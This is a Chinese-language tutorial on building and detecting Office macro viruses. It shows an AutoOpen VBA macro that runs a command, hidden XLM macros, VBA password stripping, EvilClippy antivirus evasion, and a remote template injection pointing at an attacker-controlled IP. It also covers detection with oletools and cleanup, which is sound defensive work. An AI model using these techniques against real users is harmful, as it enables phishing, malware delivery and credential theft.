原文链接:干货 | 2022最全宏病毒文件制作与防范指南
一、前言 什么是宏? 宏语言是一种特殊用途的命令语言, 在各个场景的形式不同,但是目的 都是通过自动化特定应用程序中的 某些序列,减少人工的重复操作。给使用者提供方便,提高效率 文档宏 游戏宏 什么是宏病毒? 宏病毒,即VBA语言嵌入在WORD模板中的病毒,一般为伪装为具有诱导力的文件名引诱受害者打开,并执行内置的宏脚本。 宏病毒中常用的自动执行方法有两种:一种是用户执行某种操作时自动执行的宏,如Sub botton(),当用户单击文档中的按钮控件时,宏自动执行;另一种则是Auto自动执行,如Sub AutoOpen()和Sub AutoClose(),分别在文档打开和关闭时自动执行。 1、文件格式 以office为例,Office 2007和Office 2003以及之前版本保存的文档格式是不同的。 1、Office 2003版本及之前 格式为doc,xls等 2、Office 2007及以上版本格式新增了4种格式的后缀 .docx——不包含宏的普通文档 .docm——包含宏或启用了宏的文档 .dotx——不包含宏的模板 .dotm——包含宏或启用了宏的模板 相对于Word 2003来说,Office 2007除了性能的的提升,也提升了一定的安全性。 doc(doc、.ppt、.xls)文件是一种普通的OLE文件(复合文件,所有文件数据都是存储在一个或多个流中),能够包含宏。 微软推出了以x结尾(docx)和以m结尾(docm)的两大类文档文件,这两类文件均是OpenXML文件,微软在传统的文件名扩展名后面添加了字母“x”(即docx取代doc、xlsx取代xls、pptx取代ppt)。 微软将所有宏相关的内容都放进了vbaProject.bin文件中,一般来说,只要文件中不包含vbaProject.bin,就不可能含有宏,也就不可能是宏病毒。虽然以“x”结尾的文件中不含有vbaProject.bin,但是可能被远程docm注入宏病毒 2、EXCEL格式简单说明 1、兼容格式:.xls 从Excel 2007开始,微软公司推出了新的文件格式,但是为了保持文件的兼容性仍然允许用户使用老版本的.xls格式,因此在高版本的Excel中也把.xls称之为兼容格式。.xls格式可以保存宏代码。 将文件保存为.xls格式,文件发送给低版本的用户后也可以正常打开,缺点是会丢失高版本的某些特性,例如65536行以上的行数、256列以上的列数、超过3项以上的条件格式以及Excel新版本才有的函数等。 2、压缩格式:.xlsx(无宏) 从Excel 2007开始,微软推出了压缩格式.xlsx,将工作簿保存为压缩格式后可以应用更多的新功能,例如支持1048576行、16384列、64个条件格式等。之所以称之为压缩格式,是因为将工作簿保存为.xlsx格式后其体积相较于.xls会大大缩小。其缺点是不能保存宏代码,且只有Excel 2007或以上的版本才能打开。 3、启用宏的压缩格式:.xlsm(有宏) 在推出.xlsx格式的同时,微软也推出了xlsm格式,它即拥有.xlsx格式的一切优势,又能弥补.xlsx格式的不足--.xlsx格式不能保存宏代码,而.xlsm格式可以保存宏代码。 4、二进制工作簿:.xlsb(有宏) xlsb和.xlsx、.xlsm文件格式基本类似,它们都是压缩文件包(将后缀改为zip即可解压),区别在于.xlsx和.xlsm的压缩包里面的内容都是基于XML(文本,可以直接用写字板打开阅读),而.xlsb压缩包里的内容则是二进制文件(无法直接打开阅读)。 5、Excel模板:.xltx Excel模板默认的文件格式,不能存储VBA宏代码或Excel 4.0宏工作表(.xlm)。 6、启用宏的Excel模板:.xltm Excel模板,启用宏的模板文件格式。可以存储VBA宏代码或Excel 4.0宏工作表(.xlm)。 7、Excel加载宏:.xlam Excel加载宏,类似于游戏中的外挂插件,可以强化Excel的功能,.xlam是Excel基于XML和启用宏的加载宏格式,支持使用VBA项目和Excel 4.0宏工作表(.xlm)。 3、DOCX 记得不要使用WPS右击创建DOCX文件,而是使用office word 创建DOCX才是标准的。 将docx.docx文件的文件名修改为docx.zip就可以以压缩包的形式打开.docx文件 document.xml:记录Word文档的正文内容 footer*.xml:记录Word文档的页脚 header*.xml:记录Word文档的页眉 comments.xml:记录Word文档的批注 footnotes.xml:记录Word文档的脚注 endnotes.xml:记录Word文档的尾注 doc文件结构 Header(文件头 512字节):记录着文件解析必须的所有参数 Sector(扇区):实际数据存储的地方,复合文档中数据都是以扇区为单位进行存储的。扇区内存储的数据种类有Stroage、Stream、Directory、FAT、Mini-FAT(属于Mini-Sector)、DIF等,但每个扇区中只能存储一种数据类型。每个Sector都有一个SectorID,但是Header所在的扇区ID是-1,并不是0。Header后的Sector才是“第一个”Sector,其SectorID为0。 Sector:一般是512字节 Mini-Sector:64字节 Storage与Stream的功能相当于文件系统中的文件夹与文件的功能。Storage中是没有任何“实质性”的内容的,只会记录其包含的Stream和Storage,是一个Stream和Storage的目录。“实质性”的内容全在Stream里面。 Directory是一个Storage和Stream的索引。这一部分存储空间是用来记录Storage和Stream的存储结构以及名称、大小、起始地址等信息。 FAT:索引表。数据在硬盘上的存储是离散的,需要有一个索引表能找到这些数据,索引表中存放着数据的起始地址(即扇区的),索引中一般还有一条数据指向下一条索引,类似于链表。FAT实际记录了该扇区指向的下一个扇区的地址。 DIFAT:分区表,是FAT的索引表。FAT也是存储在Sector里面,但是FAT本身也比较大,所以利用DIFAT作为FAT的索引表,记录了FAT所在的Sector的起始地址以及逻辑关系。 docx文档结构 4、宏病毒的字符串分析 1)宏病毒采取的隐蔽执行的一些措施 On Error Resume Next 如何发生错误,不弹出错误对话框 Application.DisplayStatusBar = False 不显示状态栏,避免显示宏运行状态 Options.SaveNormalPrompt = False 修改共用模板时后台自动保存,不提示 EnableCancelKeY = wdCancelDisabled 不可以使用ESC取消正在执行的宏 Application.ScreenUpdating = 0 不让Excel 弹出报警 CommandBars("Tools").Contrils("Macro").Enable=0 屏蔽工作菜单中 "宏"按钮 CommandBars("Macro").Contrils("Security").Enable=0 屏蔽宏菜单中 "安全性" 按钮 CommandBars("Macro").Contrils("Macros").Enable=0 屏蔽宏菜单的 "宏" CommandBars("Tools").Contrils("Customize").Enable=0 凭据工具菜单中"自定义" CommandBars("View").Contrils("Toolbars").Enable=0 屏蔽视图宏菜单中"工具栏" CommandBars("format").Contrils("Object").Enable=0 屏蔽格式菜单中"对象" 2)调用Win API来实现更有效的攻击方式 外部例程 介绍 MSXML2.ServerXMLHTTP Xmlhttp是一种浏览器对象, 可用于模拟http的GET和POST请求 Net.WebClient 提供网络服务 Adodb.Stream Stream 流对象用于表示数据流。配合XMLHTTP服务使用Stream对象可以从网站上下载各种可执行程序 Wscript.shell WScript.Shell是WshShell对象的ProgID,创建WshShell对象可以运行程序、操作注册表、创建快捷方式、访问系统文件夹、管理环境变量。 Poweshell PowerShell.exe 是微软提供的一种命令行shell程序和脚本环境 Application.Run 调用该函数,可以运行.exe文件 WMI 用户可以利用 WMI 管理计算机,在宏病毒中主要通过winmgmts:\\.\root\CIMV2隐藏启动进程 Shell.Application 能够执行sehll命令 3)外部特例对应的字符串 字符串 描述 http URL连接 CallByName 允许使用一个字符串在运行时指定一个属性或方法,许多宏病毒使用CallByName执行危险函数 Powershell 可以执行脚本,运行.exe文件,可以执行base64的命令 Winmgmts WinMgmt.exe是Windows管理服务,可以创建windows管理脚本 Wscript 可以执行脚本命令 Shell 可以执行脚本命令 Environment 宏病毒用于获取系统环境变量 Adodb.stream 用于处理二进制数据流或文本流 Savetofile 结合Adodb.stream用于文件修改后保存 MSXML2 能够启动网络服务 XMLHTTP 能够启动网络服务 Application.Run 可以运行.exe文件 Download 文件下载 Write 文件写入 Get http中get请求 Post http中post请求 Response http中认识response回复 Net 网络服务 WebClient 网络服务 Temp 常被宏病毒用于获取临时文件夹 Process 启动进程 Cmd 执行控制台命令 createObject 宏病毒常用于创建进行危险行为的对象 Comspec %ComSpec%一般指向你cmd.exe的路径 二、制作一个office宏病毒 1、wps office 启动宏的话需要多亿点点条件,就不多说了
2、office word 如下 自动宏 AutoOpen、AutoClose、AutoExec、AutoExit、AutoNew、 Document_Open、Document_Close、Document_New Sub autoopen() MsgBox "Hello World!" End Sub doc和docm + ALT+F11,保存,退出重新打开 office word下打开会提示这样,如果启用内容则成功执行VBA命令 如果换成命令执行,则成功执行计算器 Sub autoopen() Dim oShell, cmd Set oShell = CreateObject("WSCript.shell") cmd = "calc.exe" Call oShell.exec(cmd) End Sub 三、MS4.0(制作一个excel宏病毒) 自动宏 Auto_Open、Auto_Close、Auto_Activate、Auto_Deactivate、 Workbook_Open、Workbook_Open 1、制作过程 1)创建一个xls后缀的文件,sheet1插入 2)测试代码,点击执行,就能够命令执行,弹出calc和msg消息 3)自动运行Auto_open,,然后隐藏宏1,保存后然后重新打开,此时宏就会自动触发 4)之后只需将其替换成免杀命令即可 =HALT() WPS则提示如下: 2、发现和隐藏 1)默认情况下,XLM——xlsm后缀宏代码存储在xl\Macrosheets\文件夹下的Sheet1.xml中 2) 浅隐藏:可以通过检查单元格是否有缺来判断,取消隐藏可以看到恶意宏代码 深隐藏:使用010editor修改隐藏程度 85 00往后数九个字节,这里的值应该是00 01 02中的其中一项。其中00 表示不隐藏,01表示浅隐藏(可通过鼠标右键取消隐藏) 02表示深度隐藏(无法在Excel中找到) 把深隐藏修改为浅隐藏就能又看到javascript 如下所示 修改成功之后,没有发现取消隐藏的地方了,说明的确进入了深隐藏。 四、PPTX恶意执行命令 如下,只需设置动作设计,当受害者点击放映PPT的时候,鼠标单机或者鼠标移动过 则会触发恶意命令
五、VBA加密破解 通常病毒制作者不想要其他人看到宏内容,往往会对工程进行加密,加密方式如下: ALT+F11-VBA工程-工具-Project属性-保护
一般来说可以使用破解工具打开,如VBA_Password_Bypasser工具等 http://soft.360.cn/static/baoku/info_7_0/softinfo_102011086.html 当然也可以手动进行破解: 1、VBA_Password_Bypasser破解 也不知道为啥,提示的都是fail 2、手动破解 1)找到DPB修改为DPX——一定要是office创建的文件,wps创建的可能不标准。 2)选择是 3、之后直接ALT+F11 打开,VBA代码直接出来了,如果没出来,就选择Project->Project属性->保护,设置新的密码,然后重新打开。 六、宏病毒识别 VBA 在 Office 文档中以三种形式存在: 1.源代码: 宏模块的原始源代码,明文存储在vba模块流中; 2.P-Code: pcode区域存储的是Pcode伪代码,是VBA宏代码被VBA编辑器编译之后的代码; 3.ExeCodes: execode区域只有在pcode代码至少执行一次后才会出现,是pcode代码执行的痕迹; Office软件正常情况下只会执行源代码区域和Pcode区域的代码,执行哪里的代码取决于Office和VBA编辑器的版本。如果使用Office和VBA编辑器版本完全相同的Office软件打开并执行宏,这时候只会执行Pcode区域的代码;而如果使用的Office或VBA编辑器版本不同,则会执行源代码区域的代码并且不会更新pcode代码。 利用Pcode,可以在很大的程度上绕过杀毒软件的检测,利用EvilClippy工具可以修改vba源代码并保留Pcode中的CobaltStrike宏代码。经测试,360、火绒均未检出,且能正常上线。项目地址: https://github.com/outflanknl/EvilClippy。 oledump没有识别出混淆后的宏病毒: olevba可以识别出该文件的vba源代码与Pcode不同: 1、VBA编辑器-记得用虚拟机打开 Office软件自带VBA编辑器,可以使用快捷键ALT+F11打开,对宏代码进行动态调试。在遇到字符串混淆、字符串隐藏等技术的宏病毒的时候,利用VBA编辑器的动态调试功能可以方便地进行分析。 2、oledump(辣鸡) https://github.com/decalage2/oledump-contrib oledump.py是一个用于分析OLE文件(复合文件二进制格式)的程序,我们可以使用它提取文档中的宏代码。不过由于是python2编写的。 oledump可以提取OLE中的宏代码。 python oledump.py -s a -v demo2.doc >demo2.txt 使用不大方便- -,也不知道抽了什么风 装了一些依赖也打不开。 3、oletools oletools 是一个用来分析 Microsoft OLE2 文件的工具包,可以分析微软的 Office文档、Outlook 邮件信息等。 https://github.com/decalage2/oletools 也可以直接使用 pip install oletools 进行安装 oletools 是一个工具包,里面还有多种类型不同用途的分析工具,具体的工具有如下几种 oleid 用于分析 OLE 文件以便检测是否具有恶意文件的基本特征 olevba 从 MS Office 文档 (OLE、OpenXML) 中提取和分析 VBA 宏代码 MacroRaptor 检测恶意 VBA 宏 msodde 从 MS Office 文档、RTF 和 CSV 中提取和检测 DDE/DDEAUTO 链接 pyxswf 从 MS Office 文档 (例如 WORD、Excel)、RTF 中检测、提取和分析嵌入的 Flash 对象 (SWF) oleobj 从 OLE 文件中提取嵌入的对象 rtfobj 从 RTF 文件中提取嵌入的对象 olevba是专门用于分析office宏的python脚本,能够解析OLE和OpenXML文件,静态分析检测VBA宏,并以明文提取宏代码。olevba还可以对宏代码进行分析,找到宏病毒特征关键字、反沙箱和反虚拟化技术使用的关键字。 这里以自己本地做的一个执行calc命令的doc宏作为演示。 olevba olevba -a xxx.doc olevba -c xxx.doc 4、pcodedmp https://github.com/bontchev/pcodedmp pcodedmp可以提取P-Code代码,类似反编译后的效果。 python3 pcodedmp.py -d C:\Users\Administrator\Desktop\word\Doc1.doc 5、OfficeMalScanner https://github.com/fboldewin/reconstructer.org officemalscanner是MS Office的取证工具扫描恶意的痕迹,就像shellcode的启发式,PE文件或嵌入的OLE流。它支持拆卸和hexview以及一个简单的蛮力的方式检测加密的文件。除此之外,正在扫描一个Office文件以获取VB宏代码 。是一个非常古老的提取工具了 使用方法: OfficeMalScanner C:\Users\Administrator\Desktop\word\Doc1.doc info 七、远程docx模板加载dotm docx格式的文件不能包含宏,但是可以加载远程的 Word 模板(dotm),只要在dotm中嵌入恶意宏代码,就可以达成执行宏的目的。 利用settings.xml.rels远程执行宏病毒:在rels文件Relationship标签中,Target表示零件的文件位置,正常情况下,给值是相对路径,且存在于压缩包中。通过恶意构造Target,使其执行远程文件,就可以打开远程文件。解压docx文件,修改word/_rels-settings.xml.rels中的target为自己的dotm地址。实际测试的时候发现远程加载花的时间会比较久。 1、利用office word 创建一个docx文件,修改后缀为zip,解压 (注意坑点,注意坑点!这里我是选择原有的模板去修改的,修改为zip解压后会存在settings.xml.rels,如果是创建空白的话则没有settings.xml.rels文件,而我自己添加了settings.xml.rels文件,之后进行修改后怎么也触发不了dotm文件。而用它这个模板解压后直接修改,就可以了,我也不知道为什么,但是这里踩了很久的坑,所以建议还是用它的模板去修改吧。) 修改settings.xml.rels文件 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="http://192.168.2.101:1111/Doc1.dotm" TargetMode="External"/> </Relationships> 压缩还原成docx文件后打开,如果启用宏那么就执行dotm文件,就成功上线了。
2、利用webSetings.xml.rels窃取NTLM hash(Word模板注入攻击) https://pentestlab.blog/2017/12/18/microsoft-office-ntlm-hashes-via-frameset/ 修改webSetings.xml.rels文件,且只有在Office2010及之后版本才能利用成功。 简单看了一下文章,就是使用responder工具监听,而webSetings.xml.rels里的内容指向responder监听的UNC连接,从而导致NTLM hash被窃取。 八、恢复被宏病毒破坏的文档 对于普通用户来说,清理宏病毒显得麻烦,因为文档被宏病毒感染后(实际上是文档使用的模板文档被感染),使用文档时常常会出现一些异常情况,即使用杀毒软件将所有带毒的文档文件都处理一遍,但是,当重新打开它们时病毒又出现了。 其实,对于宏病毒的清理并不难,下面以删除Word宏病毒为例分步骤详细说明: 1.退出Word程序,先查看系统盘根目录下是否存在Autoexec.DOT文件,如果存在,而又不知道它是什么时候出现,则将其删除。 2.然后找到Normal.DOT文件,一般位于C:\Documents and Settings\ Administrator\Application Data\Microsoft\Templates目录下,用先前干净的备份将其替换,也可以直接删除,Word不会因为找不到Normal.DOT而拒绝启动,它会自动重新生成一个干净的没有任何外来宏的Noraml.DOT。 3.查看Noraml.DOT所在的目录中是否存在其他模板文件,如果存在且不是自己复制进去的,将其删除。 4.重新启动Word程序,查看Word是否恢复正常了。 5.最后检查宏病毒防护是否被启用了,某些病毒会自动禁用宏病毒防护功能,如果不启用禁用宏功能,Word会很快再次被病毒感染。 九、武器化工具 1、Generate-Macro 这个脚本可以生成一个包含恶意 VBS 脚本的恶意 Excel 文档,可以指定 payload。 2、MacroShop 使用 Office宏创建有效 Payload,其中用base64混淆字符串。 3、Phishery 可以将 URL 注入到 Office 文档中,在用户打开文档的时候,弹出认证窗口,如果用户在认证框 中输入了自己的用户凭证,那么攻击者就可以获得用户的凭证,这在社工钓鱼中非常有用。 4、wePWNise 生成Office 文档中的 VBA 脚本,VBA 脚本在执行的时候可以自动识别系统,执行对应的 payload。 5、SharpShooter 可创建各种格式的 payload 框架,并且使用随机的密钥进行 RC4 加密。 6、Cobalt Strike 快捷制作钓鱼武器,可制作Office 宏病毒。 十、总结: 1、以 "x" 结尾的文件是比较安全的,例如docx,dotx,除此之外,都是不安全的。因此,如果发邮件时一定要让对方发以x结尾的office文件。 2、攻击者能够采用远程加载的方式来注入,因此docx也可能被远程加载宏模板。 3、想要利用wps来执行宏病毒的概率是非常低的,而office的利用需要配合社工话术来让对方执行宏。 参考文档: https://www.yuque.com/guoguoxiaoguozi/igv3ce/gmeuwl https://www.yuque.com/culin-ubod4/guagkh/se5yhn https://www.yuque.com/mingxinjianxing-kxc4d/ii2mxs/ye5pxk
|